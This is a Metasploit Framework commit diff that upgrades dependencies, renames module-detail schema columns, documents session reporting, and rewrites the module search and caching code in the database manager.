Merge branch 'master' into bug/web-match_and_log_fingerprint

unstable
Tasos Laskos 2013-05-14 01:55:37 +03:00
commit a12e59ef1f
35 changed files with 3568 additions and 468 deletions

View File

@ -12,7 +12,7 @@ If your bug is new and you'd like to report it you will need to
first](https://dev.metasploit.com/redmine/account/register). Don't
worry, it's easy and fun and takes about 30 seconds.
When you file a bug report, please inclue your **steps to reproduce**,
When you file a bug report, please include your **steps to reproduce**,
full copy-pastes of Ruby stack traces, and any relevant details about
your environment. Without repro steps, your bug will likely be closed.
With repro steps, your bugs will likely be fixed.

49
Gemfile
View File

@ -12,33 +12,33 @@ gem 'nokogiri'
gem 'robots'
group :db do
# Needed for Msf::DbManager
gem 'activerecord'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.6.16'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
# Needed for Msf::DbManager
gem 'activerecord'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', '~> 0.11.2'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
end
group :pcap do
# For sniffer and raw socket modules
gem 'pcaprub'
# For sniffer and raw socket modules
gem 'pcaprub'
end
group :development do
# Markdown formatting for yard
gem 'redcarpet'
# generating documentation
gem 'yard'
# Markdown formatting for yard
gem 'redcarpet'
# generating documentation
gem 'yard'
end
group :development, :test do
# supplies factories for producing model instance for specs
# Version 4.1.0 or newer is needed to support generate calls without the
# 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# running documentation generation tasks and rspec tasks
gem 'rake'
# Version 4.1.0 or newer is needed to support generate calls without the
# 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# running documentation generation tasks and rspec tasks
gem 'rake'
end
group :test do
@ -46,9 +46,14 @@ group :test do
# transactional fixtures because multiple connections are in use so
# transactions won't work.
gem 'database_cleaner'
# testing framework
gem 'rspec', '>= 2.12'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
gem 'simplecov', '0.5.4', :require => false
# testing framework
gem 'rspec', '>= 2.12'
# add matchers from shoulda, such as query_the_database, which is useful for
# testing that the Msf::DBManager activation is respected.
gem 'shoulda-matchers'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
gem 'simplecov', '0.5.4', :require => false
# Manipulate Time.now in specs
gem 'timecop'
end

View File

@ -13,6 +13,8 @@ GEM
i18n (= 0.6.1)
multi_json (~> 1.0)
arel (3.0.2)
bourne (1.4.0)
mocha (~> 0.13.2)
builder (3.0.4)
database_cleaner (0.9.1)
diff-lcs (1.2.2)
@ -20,15 +22,18 @@ GEM
activesupport (>= 3.0.0)
i18n (0.6.1)
json (1.7.7)
metasploit_data_models (0.6.16)
metaclass (0.0.1)
metasploit_data_models (0.11.2)
activerecord (>= 3.2.13)
activesupport
pg
mocha (0.13.3)
metaclass (~> 0.0.1)
msgpack (0.5.4)
multi_json (1.0.4)
nokogiri (1.5.9)
pcaprub (0.11.3)
pg (0.15.0)
pg (0.15.1)
rake (10.0.4)
redcarpet (2.2.2)
robots (0.10.1)
@ -40,10 +45,14 @@ GEM
rspec-expectations (2.13.0)
diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.13.0)
shoulda-matchers (1.5.2)
activesupport (>= 3.0.0)
bourne (~> 1.3)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
timecop (0.6.1)
tzinfo (0.3.37)
yard (0.8.5.2)
@ -56,7 +65,7 @@ DEPENDENCIES
database_cleaner
factory_girl (>= 4.1.0)
json
metasploit_data_models (~> 0.6.16)
metasploit_data_models (~> 0.11.2)
msgpack
nokogiri
pcaprub
@ -65,5 +74,7 @@ DEPENDENCIES
redcarpet
robots
rspec (>= 2.12)
shoulda-matchers
simplecov (= 0.5.4)
timecop
yard

View File

@ -36,6 +36,17 @@ else
task :default => :spec
end
# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if
# YARD is not defined when yard.rake is loaded.
begin
require 'yard'
rescue LoadError
puts "yard not in bundle, so can't set up yard tasks. " \
"To generate documentation ensure to install the development group."
print_without = true
end
begin
require 'metasploit_data_models'
rescue LoadError
@ -58,14 +69,6 @@ else
end
end
begin
require 'yard'
rescue LoadError
puts "yard not in bundle, so can't set up yard tasks. " \
"To generate documentation ensure to install the development group."
print_without = true
end
if print_without

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20130228214900) do
ActiveRecord::Schema.define(:version => 20130430162145) do
create_table "api_keys", :force => true do |t|
t.text "token"
@ -135,7 +135,7 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
create_table "hosts", :force => true do |t|
t.datetime "created_at"
t.string "address", :limit => nil
t.string "address", :limit => nil, :null => false
t.string "mac"
t.string "comm"
t.string "name"
@ -145,7 +145,7 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
t.string "os_sp"
t.string "os_lang"
t.string "arch"
t.integer "workspace_id"
t.integer "workspace_id", :null => false
t.datetime "updated_at"
t.text "purpose"
t.string "info", :limit => 65536
@ -157,14 +157,15 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
t.integer "service_count", :default => 0
t.integer "host_detail_count", :default => 0
t.integer "exploit_attempt_count", :default => 0
t.integer "cred_count", :default => 0
end
add_index "hosts", ["address"], :name => "index_hosts_on_address"
add_index "hosts", ["name"], :name => "index_hosts_on_name"
add_index "hosts", ["os_flavor"], :name => "index_hosts_on_os_flavor"
add_index "hosts", ["os_name"], :name => "index_hosts_on_os_name"
add_index "hosts", ["purpose"], :name => "index_hosts_on_purpose"
add_index "hosts", ["state"], :name => "index_hosts_on_state"
add_index "hosts", ["workspace_id", "address"], :name => "index_hosts_on_workspace_id_and_address", :unique => true
create_table "hosts_tags", :id => false, :force => true do |t|
t.integer "host_id"
@ -223,26 +224,26 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
end
create_table "module_actions", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.text "name"
end
add_index "module_actions", ["module_detail_id"], :name => "index_module_actions_on_module_detail_id"
add_index "module_actions", ["detail_id"], :name => "index_module_actions_on_module_detail_id"
create_table "module_archs", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.text "name"
end
add_index "module_archs", ["module_detail_id"], :name => "index_module_archs_on_module_detail_id"
add_index "module_archs", ["detail_id"], :name => "index_module_archs_on_module_detail_id"
create_table "module_authors", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.text "name"
t.text "email"
end
add_index "module_authors", ["module_detail_id"], :name => "index_module_authors_on_module_detail_id"
add_index "module_authors", ["detail_id"], :name => "index_module_authors_on_module_detail_id"
create_table "module_details", :force => true do |t|
t.datetime "mtime"
@ -268,34 +269,34 @@ ActiveRecord::Schema.define(:version => 20130228214900) do
add_index "module_details", ["refname"], :name => "index_module_details_on_refname"
create_table "module_mixins", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.text "name"
end
add_index "module_mixins", ["module_detail_id"], :name => "index_module_mixins_on_module_detail_id"
add_index "module_mixins", ["detail_id"], :name => "index_module_mixins_on_module_detail_id"
create_table "module_platforms", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.text "name"
end
add_index "module_platforms", ["module_detail_id"], :name => "index_module_platforms_on_module_detail_id"
add_index "module_platforms", ["detail_id"], :name => "index_module_platforms_on_module_detail_id"
create_table "module_refs", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.text "name"
end
add_index "module_refs", ["module_detail_id"], :name => "index_module_refs_on_module_detail_id"
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
create_table "module_targets", :force => true do |t|
t.integer "module_detail_id"
t.integer "detail_id"
t.integer "index"
t.text "name"
end
add_index "module_targets", ["module_detail_id"], :name => "index_module_targets_on_module_detail_id"
add_index "module_targets", ["detail_id"], :name => "index_module_targets_on_module_detail_id"
create_table "nexpose_consoles", :force => true do |t|
t.datetime "created_at", :null => false

View File

@ -645,12 +645,69 @@ class DBManager
}
end
# Record a new session in the database
# @note The Mdm::Session#desc will be truncated to 255 characters.
# @todo https://www.pivotaltracker.com/story/show/48249739
#
# opts MUST contain either
# +:session+:: the Msf::Session object we are reporting
# +:host+:: the Host object we are reporting a session on.
# @overload report_session(opts)
# Creates an Mdm::Session from Msf::Session. If +via_exploit+ is set on the
# +session+, then an Mdm::Vuln and Mdm::ExploitAttempt is created for the
# session's host. The Mdm::Host for the +session_host+ is created using
# The session.session_host, +session.arch+ (if +session+ responds to arch),
# and the workspace derived from opts or the +session+. The Mdm::Session is
# assumed to be +last_seen+ and +opened_at+ at the time report_session is
# called. +session.exploit_datastore['ParentModule']+ is used for the
# Mdm::Session#via_exploit if +session.via_exploit+ is
# 'exploit/multi/handler'.
#
# @param opts [Hash{Symbol => Object}] options
# @option opt [Msf::Session, #datastore, #platform, #type, #via_exploit, #via_payload] :session
# The in-memory session to persist to the database.
# @option opts [Mdm::Workspace] :workspace The workspace for in which the
# :session host is contained. Also used as the workspace for the
# Mdm::ExploitAttempt and Mdm::Vuln. Defaults to Mdm::Worksapce with
# Mdm::Workspace#name equal to +session.workspace+.
# @return [nil] if {Msf::DBManager#active} is +false+.
# @return [Mdm::Session] if session is saved
# @raise [ArgumentError] if :session is not an {Msf::Session}.
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
# saved, in which case, the Mdm::ExploitAttempt and Mdm::Vuln will not be
# created, but the Mdm::Host will have been. (There is no transaction
# to rollback the Mdm::Host creation.)
# @see #find_or_create_host
# @see #normalize_host
# @see #report_exploit_success
# @see #report_vuln
#
# @overload report_session(opts)
# Creates an Mdm::Session from Mdm::Host.
#
# @param opts [Hash{Symbol => Object}] options
# @option opts [DateTime, Time] :closed_at The date and time the sesion was
# closed.
# @option opts [String] :close_reason Reason the session was closed.
# @option opts [Hash] :datastore {Msf::DataStore#to_h}.
# @option opts [String] :desc Session description. Will be truncated to 255
# characters.
# @option opts [Mdm::Host] :host The host on which the session was opened.
# @option opts [DateTime, Time] :last_seen The last date and time the
# session was seen to be open. Defaults to :closed_at's value.
# @option opts [DateTime, Time] :opened_at The date and time that the
# session was opened.
# @option opts [String] :platform The platform of the host.
# @option opts [Array] :routes ([]) The routes through the session for
# pivoting.
# @option opts [String] :stype Session type.
# @option opts [String] :via_exploit The {Msf::Module#fullname} of the
# exploit that was used to open the session.
# @option option [String] :via_payload the {MSf::Module#fullname} of the
# payload sent to the host when the exploit was successful.
# @return [nil] if {Msf::DBManager#active} is +false+.
# @return [Mdm::Session] if session is saved.
# @raise [ArgumentError] if :host is not an Mdm::Host.
# @raise [ActiveRecord::RecordInvalid] if session is invalid and cannot be
# saved.
#
# @raise ArgumentError if :host and :session is +nil+
def report_session(opts)
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
@ -719,13 +776,11 @@ class DBManager
# If this is a live session, we know the host is vulnerable to something.
if opts[:session] and session.via_exploit
return unless host
mod = framework.modules.create(session.via_exploit)
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
mod_fullname = sess_data[:datastore]['ParentModule']
mod_name = ::Mdm::ModuleDetail.find_by_fullname(mod_fullname).name
mod_name = ::Mdm::Module::Detail.find_by_fullname(mod_fullname).name
else
mod_name = mod.name
mod_fullname = mod.fullname

View File

@ -358,9 +358,19 @@ class Export
return el
end
# @note there is no single root element output by
# {#extract_module_detail_info}, so if calling {#extract_module_detail_info}
# directly, it is the caller's responsibility to add an opening and closing
# tag to report_file around the call to {#extract_module_detail_info}.
#
# Writes a module_detail element to the report_file for each
# Mdm::Module::Detail.
#
# @param report_file [#write, #flush] IO stream to which to write the
# module_detail elements.
# @return [void]
def extract_module_detail_info(report_file)
Mdm::ModuleDetail.all.each do |m|
Mdm::Module::Detail.all.each do |m|
report_file.write("<module_detail>\n")
m_id = m.attributes["id"]
@ -371,6 +381,7 @@ class Export
end
# Authors sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_authors>\n")
m.authors.find(:all).each do |d|
d.attributes.each_pair do |k,v|
@ -381,6 +392,7 @@ class Export
report_file.write(" </module_authors>\n")
# Refs sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_refs>\n")
m.refs.find(:all).each do |d|
d.attributes.each_pair do |k,v|
@ -392,6 +404,7 @@ class Export
# Archs sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_archs>\n")
m.archs.find(:all).each do |d|
d.attributes.each_pair do |k,v|
@ -403,6 +416,7 @@ class Export
# Platforms sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_platforms>\n")
m.platforms.find(:all).each do |d|
d.attributes.each_pair do |k,v|
@ -414,6 +428,7 @@ class Export
# Targets sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_targets>\n")
m.targets.find(:all).each do |d|
d.attributes.each_pair do |k,v|
@ -424,6 +439,7 @@ class Export
report_file.write(" </module_targets>\n")
# Actions sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_actions>\n")
m.actions.find(:all).each do |d|
d.attributes.each_pair do |k,v|
@ -434,6 +450,7 @@ class Export
report_file.write(" </module_actions>\n")
# Mixins sub-elements
# @todo https://www.pivotaltracker.com/story/show/48451001
report_file.write(" <module_mixins>\n")
m.mixins.find(:all).each do |d|
d.attributes.each_pair do |k,v|

View File

@ -314,17 +314,28 @@ class DBManager
end
# @note Does nothing unless {#migrated} is +true+ and {#modules_caching} is
# +false+.
#
# Destroys all Mdm::Module::Details in the database.
#
# @return [void]
def purge_all_module_details
return if not self.migrated
return if self.modules_caching
::ActiveRecord::Base.connection_pool.with_connection do
Mdm::ModuleDetail.destroy_all
Mdm::Module::Detail.destroy_all
end
true
end
# Destroys the old Mdm::Module::Detail and creates a new Mdm::Module::Detail for
# any module with an Mdm::Module::Detail where the modification time of the
# Mdm::Module::Detail#file differs from the Mdm::Module::Detail#mtime. If the
# Mdm::Module::Detail#file no only exists on disk, then the Mdm::Module::Detail
# is just destroyed without a new one being created.
#
# @return [void]
def update_all_module_details
return if not self.migrated
return if self.modules_caching
@ -334,106 +345,112 @@ class DBManager
self.modules_cached = false
self.modules_caching = true
::ActiveRecord::Base.connection_pool.with_connection {
ActiveRecord::Base.connection_pool.with_connection do
refresh = []
skipped = []
refresh = []
skipped = []
Mdm::ModuleDetail.find_each do |md|
Mdm::Module::Detail.find_each do |md|
unless md.ready
refresh << md
next
unless md.ready
refresh << md
next
end
unless md.file and ::File.exists?(md.file)
refresh << md
next
end
if ::File.mtime(md.file).to_i != md.mtime.to_i
refresh << md
next
end
skipped << [md.mtype, md.refname]
end
unless md.file and ::File.exists?(md.file)
refresh << md
next
end
refresh.each { |md| md.destroy }
if ::File.mtime(md.file).to_i != md.mtime.to_i
refresh << md
next
end
skipped << [md.mtype, md.refname]
end
refresh.each {|md| md.destroy }
refresh = nil
[
[ 'exploit', framework.exploits ],
[ 'auxiliary', framework.auxiliary ],
[ 'post', framework.post ],
[ 'payload', framework.payloads ],
[ 'encoder', framework.encoders ],
[ 'nop', framework.nops ]
].each do |mt|
mt[1].keys.sort.each do |mn|
next if skipped.include?( [ mt[0], mn ] )
obj = mt[1].create(mn)
next if not obj
begin
update_module_details(obj)
rescue ::Exception
elog("Error updating module details for #{obj.fullname}: #{$!.class} #{$!}")
[
['exploit', framework.exploits],
['auxiliary', framework.auxiliary],
['post', framework.post],
['payload', framework.payloads],
['encoder', framework.encoders],
['nop', framework.nops]
].each do |mt|
mt[1].keys.sort.each do |mn|
next if skipped.include?([mt[0], mn])
obj = mt[1].create(mn)
next if not obj
begin
update_module_details(obj)
rescue ::Exception
elog("Error updating module details for #{obj.fullname}: #{$!.class} #{$!}")
end
end
end
self.framework.cache_initialized = true
end
self.framework.cache_initialized = true
self.framework.cache_thread = nil
self.modules_cached = true
# in reverse order of section before with_connection block
self.modules_caching = false
nil
}
self.modules_cached = true
self.framework.cache_thread = nil
end
def update_module_details(obj)
# Creates an Mdm::Module::Detail from a module instance.
#
# @param module_instance [Msf::Module] a metasploit module instance.
# @raise [ActiveRecord::RecordInvalid] if Hash from {#module_to_details_hash} is invalid attributes for
# Mdm::Module::Detail.
# @return [void]
def update_module_details(module_instance)
return if not self.migrated
::ActiveRecord::Base.connection_pool.with_connection {
info = module_to_details_hash(obj)
bits = info.delete(:bits) || []
ActiveRecord::Base.connection_pool.with_connection do
info = module_to_details_hash(module_instance)
bits = info.delete(:bits) || []
module_detail = Mdm::Module::Detail.create!(info)
md = Mdm::ModuleDetail.create(info)
bits.each do |args|
otype, vals = args
case otype
when :author
md.add_author(vals[:name], vals[:email])
when :action
md.add_action(vals[:name])
when :arch
md.add_arch(vals[:name])
when :platform
md.add_platform(vals[:name])
when :target
md.add_target(vals[:index], vals[:name])
when :ref
md.add_ref(vals[:name])
when :mixin
# md.add_mixin(vals[:name])
bits.each do |args|
otype, vals = args
case otype
when :action
module_detail.add_action(vals[:name])
when :arch
module_detail.add_arch(vals[:name])
when :author
module_detail.add_author(vals[:name], vals[:email])
when :platform
module_detail.add_platform(vals[:name])
when :ref
module_detail.add_ref(vals[:name])
when :target
module_detail.add_target(vals[:index], vals[:name])
end
end
module_detail.ready = true
module_detail.save!
end
md.ready = true
md.save
md.id
}
end
# Destroys Mdm::Module::Detail if one exists for the given
# Mdm::Module::Detail#mtype and Mdm::Module::Detail#refname.
#
# @param mtype [String] module type.
# @param refname [String] module reference name.
# @return [void]
def remove_module_details(mtype, refname)
return if not self.migrated
::ActiveRecord::Base.connection_pool.with_connection {
md = Mdm::ModuleDetail.find(:conditions => [ 'mtype = ? and refname = ?', mtype, refname])
md.destroy if md
}
ActiveRecord::Base.connection_pool.with_connection do
Mdm::Module::Detail.where(:mtype => mtype, :refname => refname).destroy_all
end
end
def module_to_details_hash(m)
@ -523,108 +540,169 @@ class DBManager
res
end
# Wraps values in +'%'+ for Arel::Prediciation#matches_any and other match* methods that map to SQL +'LIKE'+ or
# +'ILIKE'+
#
# @param values [Set<String>, #each] a list of strings.
# @return [Arrray<String>] strings wrapped like %<string>%
def match_values(values)
wrapped_values = values.collect { |value|
"%#{value}%"
}
wrapped_values
end
#
# This provides a standard set of search filters for every module.
# The search terms are in the form of:
# {
# "text" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ],
# "cve" => [ [ "include_term1", "include_term2", ...], [ "exclude_term1", "exclude_term2"], ... ]
# }
#
# Returns true on no match, false on match
# Supported keywords with the format <keyword>:<search_value>:
# +app+:: If +client+ then matches +'passive'+ stance modules, otherwise matches +'active' stance modules.
# +author+:: Matches modules with the given author email or name.
# +bid+:: Matches modules with the given Bugtraq ID.
# +cve+:: Matches modules with the given CVE ID.
# +edb+:: Matches modules with the given Exploit-DB ID.
# +name+:: Matches modules with the given full name or name.
# +os+, +platform+:: Matches modules with the given platform or target name.
# +osvdb+:: Matches modules with the given OSVDB ID.
# +ref+:: Matches modules with the given reference ID.
# +type+:: Matches modules with the given type.
#
def search_modules(search_string, inclusive=false)
return false if not search_string
# Any text not associated with a keyword is matched against the description,
# the full name, and the name of the module; the name of the module actions;
# the name of the module archs; the name of the module authors; the name of
# module platform; the module refs; or the module target.
#
# @param search_string [String] a string of space separated keyword pairs or
# free form text.
# @return [[]] if search_string is +nil+
# @return [ActiveRecord::Relation] module details that matched
# +search_string+
def search_modules(search_string)
search_string ||= ''
search_string += " "
search_string += " "
# Split search terms by space, but allow quoted strings
terms = Shellwords.shellwords(search_string)
terms.delete('')
# Split search terms by space, but allow quoted strings
terms = Shellwords.shellwords(search_string)
terms.delete('')
# All terms are either included or excluded
value_set_by_keyword = Hash.new { |hash, keyword|
hash[keyword] = Set.new
}
# All terms are either included or excluded
res = {}
terms.each do |term|
keyword, value = term.split(':', 2)
terms.each do |t|
f,v = t.split(":", 2)
if not v
v = f
f = 'text'
end
next if v.length == 0
f.downcase!
v.downcase!
res[f] ||= [ ]
res[f] << v
end
unless value
value = keyword
keyword = 'text'
end
::ActiveRecord::Base.connection_pool.with_connection {
unless value.empty?
keyword.downcase!
where_q = []
where_v = []
value_set = value_set_by_keyword[keyword]
value_set.add value
end
end
res.keys.each do |kt|
res[kt].each do |kv|
kv = kv.downcase
case kt
when 'text'
xv = "%#{kv}%"
where_q << ' ( ' +
'module_details.fullname ILIKE ? OR module_details.name ILIKE ? OR module_details.description ILIKE ? OR ' +
'module_authors.name ILIKE ? OR module_actions.name ILIKE ? OR module_archs.name ILIKE ? OR ' +
'module_targets.name ILIKE ? OR module_platforms.name ILIKE ? OR module_refs.name ILIKE ?' +
') '
where_v << [ xv, xv, xv, xv, xv, xv, xv, xv, xv ]
when 'name'
xv = "%#{kv}%"
where_q << ' ( module_details.fullname ILIKE ? OR module_details.name ILIKE ? ) '
where_v << [ xv, xv ]
when 'author'
xv = "%#{kv}%"
where_q << ' ( module_authors.name ILIKE ? OR module_authors.email ILIKE ? ) '
where_v << [ xv, xv ]
when 'os','platform'
xv = "%#{kv}%"
where_q << ' ( module_platforms.name ILIKE ? OR module_targets.name ILIKE ? ) '
where_v << [ xv, xv ]
when 'port'
# TODO
when 'type'
where_q << ' ( module_details.mtype = ? ) '
where_v << [ kv ]
when 'app'
where_q << ' ( module_details.stance = ? )'
where_v << [ ( kv == "client") ? "passive" : "aggressive" ]
when 'ref'
where_q << ' ( module_refs.name ILIKE ? )'
where_v << [ '%' + kv + '%' ]
when 'cve','bid','osvdb','edb'
where_q << ' ( module_refs.name = ? )'
where_v << [ kt.upcase + '-' + kv ]
query = Mdm::Module::Detail.scoped
end
end
end
ActiveRecord::Base.connection_pool.with_connection do
# Although AREL supports taking the union or two queries, the ActiveRecord where syntax only supports
# intersection, so creating the where clause has to be delayed until all conditions can be or'd together and
# passed to one call ot where.
union_conditions = []
qry = Mdm::ModuleDetail.select("DISTINCT(module_details.*)").
joins(
"LEFT OUTER JOIN module_authors ON module_details.id = module_authors.module_detail_id " +
"LEFT OUTER JOIN module_actions ON module_details.id = module_actions.module_detail_id " +
"LEFT OUTER JOIN module_archs ON module_details.id = module_archs.module_detail_id " +
"LEFT OUTER JOIN module_refs ON module_details.id = module_refs.module_detail_id " +
"LEFT OUTER JOIN module_targets ON module_details.id = module_targets.module_detail_id " +
"LEFT OUTER JOIN module_platforms ON module_details.id = module_platforms.module_detail_id "
).
where(where_q.join(inclusive ? " OR " : " AND "), *(where_v.flatten)).
# Compatibility for Postgres installations prior to 9.1 - doesn't have support for wildcard group by clauses
group("module_details.id, module_details.mtime, module_details.file, module_details.mtype, module_details.refname, module_details.fullname, module_details.name, module_details.rank, module_details.description, module_details.license, module_details.privileged, module_details.disclosure_date, module_details.default_target, module_details.default_action, module_details.stance, module_details.ready")
value_set_by_keyword.each do |keyword, value_set|
case keyword
when 'author'
formatted_values = match_values(value_set)
res = qry.all
query = query.includes(:authors)
module_authors = Mdm::Module::Author.arel_table
union_conditions << module_authors[:email].matches_any(formatted_values)
union_conditions << module_authors[:name].matches_any(formatted_values)
when 'name'
formatted_values = match_values(value_set)
}
end
module_details = Mdm::Module::Detail.arel_table
union_conditions << module_details[:fullname].matches_any(formatted_values)
union_conditions << module_details[:name].matches_any(formatted_values)
when 'os', 'platform'
formatted_values = match_values(value_set)
query = query.includes(:platforms)
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
query = query.includes(:targets)
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
when 'text'
formatted_values = match_values(value_set)
module_details = Mdm::Module::Detail.arel_table
union_conditions << module_details[:description].matches_any(formatted_values)
union_conditions << module_details[:fullname].matches_any(formatted_values)
union_conditions << module_details[:name].matches_any(formatted_values)
query = query.includes(:actions)
union_conditions << Mdm::Module::Action.arel_table[:name].matches_any(formatted_values)
query = query.includes(:archs)
union_conditions << Mdm::Module::Arch.arel_table[:name].matches_any(formatted_values)
query = query.includes(:authors)
union_conditions << Mdm::Module::Author.arel_table[:name].matches_any(formatted_values)
query = query.includes(:platforms)
union_conditions << Mdm::Module::Platform.arel_table[:name].matches_any(formatted_values)
query = query.includes(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
query = query.includes(:targets)
union_conditions << Mdm::Module::Target.arel_table[:name].matches_any(formatted_values)
when 'type'
formatted_values = match_values(value_set)
union_conditions << Mdm::Module::Detail.arel_table[:mtype].matches_any(formatted_values)
when 'app'
formatted_values = value_set.collect { |value|
formatted_value = 'aggressive'
if value == 'client'
formatted_value = 'passive'
end
formatted_value
}
union_conditions << Mdm::Module::Detail.arel_table[:stance].eq_any(formatted_values)
when 'ref'
formatted_values = match_values(value_set)
query = query.includes(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].matches_any(formatted_values)
when 'cve', 'bid', 'osvdb', 'edb'
formatted_values = value_set.collect { |value|
prefix = keyword.upcase
"#{prefix}-#{value}"
}
query = query.includes(:refs)
union_conditions << Mdm::Module::Ref.arel_table[:name].eq_any(formatted_values)
end
end
unioned_conditions = union_conditions.inject { |union, condition|
union.or(condition)
}
query = query.where(unioned_conditions).uniq
end
query
end
end
end

View File

@ -46,13 +46,19 @@ module Msf::ModuleManager::Cache
loaded
end
# Rebuild the cache for the module set
# @overload refresh_cache_from_module_files
# Rebuilds database and in-memory cache for all modules.
#
# @return [void]
def refresh_cache_from_module_files(mod = nil)
# @return [void]
# @overload refresh_cache_from_module_files(module_class_or_instance)
# Rebuilds database and in-memory cache for given module_class_or_instance.
#
# @param (see Msf::DBManager#update_module_details)
# @return [void]
def refresh_cache_from_module_files(module_class_or_instance = nil)
if framework_migrated?
if mod
framework.db.update_module_details(mod)
if module_class_or_instance
framework.db.update_module_details(module_class_or_instance)
else
framework.db.update_all_module_details
end
@ -61,7 +67,7 @@ module Msf::ModuleManager::Cache
end
end
# Reset the module cache
# Refreshes the in-memory cache from the database cache.
#
# @return [void]
def refresh_cache_from_database
@ -86,43 +92,49 @@ module Msf::ModuleManager::Cache
# @return (see #module_info_by_path_from_database!)
attr_accessor :module_info_by_path
# Return a module info from Mdm::ModuleDetails in database.
# Return a module info from Mdm::Module::Details in database.
#
# @note Also sets module_set(module_type)[module_reference_name] to Msf::SymbolicModule if it is not already set.
#
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::ModuleDetail#file) to module information. Module
# information is a Hash derived from Mdm::ModuleDetail. It includes :modification_time, :parent_path, :type,
# @return [Hash{String => Hash{Symbol => Object}}] Maps path (Mdm::Module::Detail#file) to module information. Module
# information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type,
# :reference_name.
def module_info_by_path_from_database!
self.module_info_by_path = {}
if framework_migrated?
# TODO record module parent_path in {Mdm::ModuleDetail} so it does not need to be derived from file.
::Mdm::ModuleDetail.find(:all).each do |module_detail|
path = module_detail.file
type = module_detail.mtype
reference_name = module_detail.refname
ActiveRecord::Base.connection_pool.with_connection do
# TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
# Use find_each so Mdm::Module::Details are returned in batches, which will
# handle the growing number of modules better than all.each.
Mdm::Module::Detail.find_each do |module_detail|
path = module_detail.file
type = module_detail.mtype
reference_name = module_detail.refname
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
escaped_typed_path = Regexp.escape(typed_path)
parent_path = path.gsub(/#{escaped_typed_path}$/, '')
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
# join to '' so that typed_path_prefix starts with file separator
typed_path_suffix = File.join('', typed_path)
escaped_typed_path = Regexp.escape(typed_path_suffix)
parent_path = path.gsub(/#{escaped_typed_path}$/, '')
module_info_by_path[path] = {
:reference_name => reference_name,
:type => type,
:parent_path => parent_path,
:modification_time => module_detail.mtime
}
module_info_by_path[path] = {
:reference_name => reference_name,
:type => type,
:parent_path => parent_path,
:modification_time => module_detail.mtime
}
typed_module_set = module_set(type)
typed_module_set = module_set(type)
# Don't want to trigger as {Msf::ModuleSet#create} so check for
# key instead of using ||= which would call {Msf::ModuleSet#[]}
# which would potentially call {Msf::ModuleSet#create}.
unless typed_module_set.has_key? reference_name
typed_module_set[reference_name] = Msf::SymbolicModule
end
end
# Don't want to trigger as {Msf::ModuleSet#create} so check for
# key instead of using ||= which would call {Msf::ModuleSet#[]}
# which would potentially call {Msf::ModuleSet#create}.
unless typed_module_set.has_key? reference_name
typed_module_set[reference_name] = Msf::SymbolicModule
end
end
end
end
self.module_info_by_path

View File

@ -1386,17 +1386,16 @@ class Core
print_line
print_line "Keywords:"
{
"name" => "Modules with a matching descriptive name",
"path" => "Modules with a matching path or reference name",
"platform" => "Modules affecting this platform",
"port" => "Modules with a matching remote port",
"type" => "Modules of a specific type (exploit, auxiliary, or post)",
"app" => "Modules that are client or server attacks",
"author" => "Modules written by this author",
"cve" => "Modules with a matching CVE ID",
"bid" => "Modules with a matching Bugtraq ID",
"osvdb" => "Modules with a matching OSVDB ID",
"edb" => "Modules with a matching Exploit-DB ID"
'app' => 'Modules that are client or server attacks',
'author' => 'Modules written by this author',
'bid' => 'Modules with a matching Bugtraq ID',
'cve' => 'Modules with a matching CVE ID',
'edb' => 'Modules with a matching Exploit-DB ID',
'name' => 'Modules with a matching descriptive name',
'osvdb' => 'Modules with a matching OSVDB ID',
'platform' => 'Modules affecting this platform',
'ref' => 'Modules with a matching ref',
'type' => 'Modules of a specific type (exploit, auxiliary, or post)',
}.each_pair do |keyword, description|
